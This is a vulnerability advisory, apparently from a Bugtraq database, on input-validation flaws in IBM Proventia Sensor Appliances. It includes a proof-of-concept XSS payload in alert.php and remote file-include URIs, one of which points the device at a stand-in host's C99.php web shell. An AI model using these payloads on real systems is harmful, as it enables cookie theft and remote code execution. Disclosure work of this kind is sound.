IBM Proventia Sensor Appliance Multiple Input Validation Vulnerabilities

BID:24864

Info

IBM Proventia Sensor Appliance Multiple Input Validation Vulnerabilities

Bugtraq ID: 24864
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jul 11 2007 12:00AM
Updated: Jul 11 2007 10:37PM
Credit: Alex Hernandez is credited with the discovery of these vulnerabilities.
Vulnerable: IBM Proventia Sensor Appliance GX5108
IBM Proventia Sensor Appliance GX5008
Not Vulnerable:

Discussion

IBM Proventia Sensor Appliance Multiple Input Validation Vulnerabilities

The IBM Proventia Sensor Appliance is prone to multiple input-validation vulnerabilities, including multiple remote file-include issues and a cross-site scripting issue.

An attacker can exploit these issues to steal cookie-based authentication credentials, view files, and to execute arbitrary server-side script code on an affected device in the context of the webserver process. Other attacks are also possible.

IBM Proventia Sensor Appliance CX5108 and GX5008 are vulnerable.

Exploit / POC

IBM Proventia Sensor Appliance Multiple Input Validation Vulnerabilities

To exploit a cross-site scripting issue:

An attacker can exploit this issue by enticing an unsuspecting user into following a malicious URI.

The following proof-of-concept URI is available:

https://www.example.com/alert.php?reminder=-->//"><script>alert(/XSS_vulnerability_proventia_s0x by Alex Hernandez/);</script>

To exploit a remote file-include issue:

An attacker can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/index.php?title=http://www.example2.com/C99.php?archive.php

https://www.example.com/main.php?page=https://www.example2.com

Solution / Fix

IBM Proventia Sensor Appliance Multiple Input Validation Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

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IBM Proventia Sensor Appliance Multiple Input Validation Vulnerabilities

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